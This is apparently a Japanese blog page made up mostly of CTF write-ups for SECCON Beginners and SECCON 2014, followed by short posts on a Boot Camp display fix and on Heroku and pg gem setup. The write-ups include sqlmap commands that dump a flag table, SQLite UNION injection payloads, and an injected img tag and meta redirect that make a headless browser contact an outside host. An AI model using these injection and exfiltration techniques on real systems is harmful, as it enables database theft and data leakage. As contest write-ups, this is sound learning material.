Misc
[Warmup] plain mail
説明
2通分のメールの pcapファイル
いわゆる「zipのパスワードは別送信します」形式
解法
- なんてことはないので 単純に添付ファイルを抜き出して base64 decode した上で 別のメールに書いてあるパスワードで展開すればOK
[Warmup] Welcome
そのまま IRCで接続すると topic に書いてある
てけいさんえくすとりーむず
説明
nc して見ると 四則演算な問題が出される 300秒以内に100問解けば OK
Find the messages
説明
disk.img が渡される
解法
- 3つのファイルを見て flag を足す必要がある
- foremost で 単純に disk.img を展開したら pdf が取れた これと
- あとはペアの相手が disk.img をマウントできたので txt と png のそれぞれの文字をつなげればOK
Web
[Warmup] Greeting
説明
ユーザー名を入れるフォームと php のコードが書いてある
Gimme your comment
説明
件名と本文を登録すると 次の瞬間に ヘッドレスブラウザが動いて 定型文を post するシステム
解法
このヘッドレスブラウザ の UA が flag
- なので ヘッドレスブラウザ から 適当な ホストへ リクエストが飛べばいい
- EC2か何かのURLを <img src=http://hogehoge> とかして 本文に書き込めばOK
SECCON Goods
説明
在庫一覧が表示されるページ
解法
- どうやら http://goods.chall.beginners.seccon.jp/items.php?minstock=0 の json が表示されている
- この minstock は 単純な数字のほか 2+3 とか簡単な計算式でも OK
- この minstock に select count(*) from items と入れると minstock=8 と同じ挙動
- なので ブラインドSQLインジェクションができそう
- あとは sqlmap すればいいだけ
sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 --dbs
sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 --tables
sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 -T flag --dump
Gimme your comment REVENGE
説明
Gimme your comment と大体同じだけど今度は
CSP https://developer.mozilla.org/ja/docs/Web/HTTP/CSP で対策されている
- Content-Security-Policy: default-src 'self'
解法
- headless ブラウザで適当なところにアクセスさせたいだけなので
- meta タグで redirect すれば OK
Reversing
[Warmup] Simple Auth
説明
ELFなプログラム
解法
単純に入力値を比較してるので IDA Freeとか Radare2 でのぞけば書いてある
Activation
説明
.NETなプログラム
- 実行すると PCのCDドライブの存在をなんだかんだしたりする
- ドライブのチェックが終わると ActivationCode を入力しろと言われる
- 間違っていると終了してしまう
解法
これはdnSpy 使えば楽勝
- ドライブの存在チェックは flag という変数に 一旦答えを格納するので それを書き換える
- ActivationCode のチェックは AesCryptoServiceProvider で 暗号化した結果が 以下と同じかどうか
- "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5"
- あとは処理を追って KeyとIVを見つけたら 復号化すればいいだけ
- https://gist.github.com/lis2501/cf725011f99ec15aec42923b6919dddf
OSX でBootCamp時にゲームをフルスクリーンにすると画面が乱れる話
タイトルのとおりですが手元の環境だとOpenGLを利用してる物だとフルスクリーン時以下のように画面が乱れます。
Appleのサポートの記事の通り
高 DPI 設定では画面のスケーリングを無効にする
で無事綺麗に全画面表示できるようになりました。
留意点とすれば、Steamで買ったゲームなどはローカルファイル閲覧 もしくは
起動中にタスクバーにあるゲームのアイコン右クリック→ゲーム名右クリック→プロパティみたいな感じで直接exeファイルのプロパティを開いて設定する必要があるぐらいですね。
MacBook Pro (Retina, Mid 2012) 以降:Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、カーソルに問題が発生する
MacBook Pro (Retina, Mid 2012) 以降では、Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、マウスまたはトラックパッドのクリックが正常に反応しないように見える場合があります。
次の手順に従って、高 DPI 設定での画面のスケーリングを無効にします。
- ゲームのアイコンを右クリックします。これにより、プロパティダイアログボックスが表示されます。
- 「互換性」タブをクリックします。
- 「高 DPI 設定では画面のスケーリングを無効にする」のチェックボックスにチェックを入れます。
- 「OK」をクリックします。
http://support.apple.com/ja-jp/HT203639 MacBook Pro (Retina, Mid 2012) 以降 Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、カーソルに問題が発生する
SECCON2014 write-up
箱庭SQLi
dotbundle???みたいな謎な感じだったけどDB.dllとかなんか同梱してるし
sqliteとかそういう系かな〜と当たりをつけてそのまま
とりあえず5行だとUNIONしてもエラーでない
' and 1=0 UNION ALL SELECT null,null,null,null,null --
' and 1=0 UNION ALL SELECT type,name,sql,null,null FROM sqlite_master --
sqlite_masterからsql取り出して見てみるとSECCONってテーブルがあった
' and 1=0 UNION ALL SELECT FLAG,null,null,null,null FROM SECCON--
FLAG{EnjoySQLi}
decode me
FRPPBA 2014 ÓúêááòÓýÓ°ÓùÓäÓ¯ÓâÓÄÓúÓðÓþÐÒ ebg13/47 ÓúäÓø¦ÓÞÓ÷ÓþýÝï¡ÓöÓèÐÒ Ò¿Ò¼Ò·ÔâÔ¯ÔÄÔøÓöãùòàÓúÔöÔâÐëÔøÓöÓÜÓ¼ÓâÓ÷ÓúÓ³äÓø¦ÓÜÓ¯ÓæÓîÓÚÐØ Ó÷ÓÓÓÕÓÀÓàÓöÐÑÓÙÓ²ÓöÓ÷ÓÕÓãÓåÓÓÓ¯ÓèÐÙ Ô¦ÔºÔßÓþ÷íâ¢à¢îÅùçêËÓúù¢ãèÓæÓõÓÚÓºõÏýþÓæÓõÓÞÓïÓäÓÓÐÒ ÒõÒûÒðÒöСÒ÷Ò²ÒÇÒ¶ÐÐÒ·ÒÆÒ¿ÐÐÒ¤ÒôÒòÒòÒþÒýÒáÒßÒàÒãТ
FRPPBAでぐぐるとrot13っぽい
rot13すると
rot13/47
とかでるので
nkf -r encoded.txt
SECCON 2014 に参加のみなさまこんにちは。 rot13/47 に気付くとは流石です。 nkfコマンドで簡単にデコードできることにも気付きましたか? というわけで、おめでとうございます! フラグは半角英数文字に変換してから入力してください。 FLAG{Have fun SECCON2014}
FLAG{Have fun SECCON2014}
重ねてみよう
チームメイトが解いてたのですが、一応別の解き方のため書いておく
白い点が動くアニメーションgif
とりあえず重ねることに
convert +adjoin afterimage.gif before.gif ls -1 before* |sort| awk -F- '{system(cmd_exec "convert -transparent black before-"$2" after-"$2);}' cp after-0.gif marge.gif ls -1 after-* |sort |awk '{system(cmd_exec "convert "$1" marge.gif -composite marge.gif")}' convert marge.gif -background black -flatten -alpha off marge.gif convert marge.gif -negate marge.gif open marge.gif
1行目:gifアニメをbefore-*.gifへ分解
2行目:before-*.gifに対して黒色を透過処理したafter-*.gifを作成
3行目:after-0.gifをmarge.gifにコピー
4行目:marge.gifへafter-*.gifを一つづつ合成
5行目:このままだと黒色が透過してるので、黒色で背景を上書き
6行目:これだと白黒反転しているので元に戻す
7行目:開いたmarge.gifをQRコードリーダーで読むと
FLAG{Many dot makes a QR code}
herokuにmaster以外のブランチを走らせる方法
git push heroku develop:master
これで手元develop 向こうmaster
Marvericksでpgをbundle installする方法
Herokuとか使うときにはsqliteが対応していないためpostgresqlとか使うと思うんですけどそのgem pgがうまいことmarvericksではbundle installで入らなかったのでメモ
- postgresをインストール
- bundle config
bundle config build.pg --with-pg-include='/Applications/Postgres.app/Contents/Versions/9.3/include/'
- bundle intall
bundle install --path vendor/bundle
参考:
http://stackoverflow.com/questions/19625487/impossible-to-install-pg-gem-on-my-mac-with-mavericks
http://d.hatena.ne.jp/mallowlabs/20120806/mac_pg_gem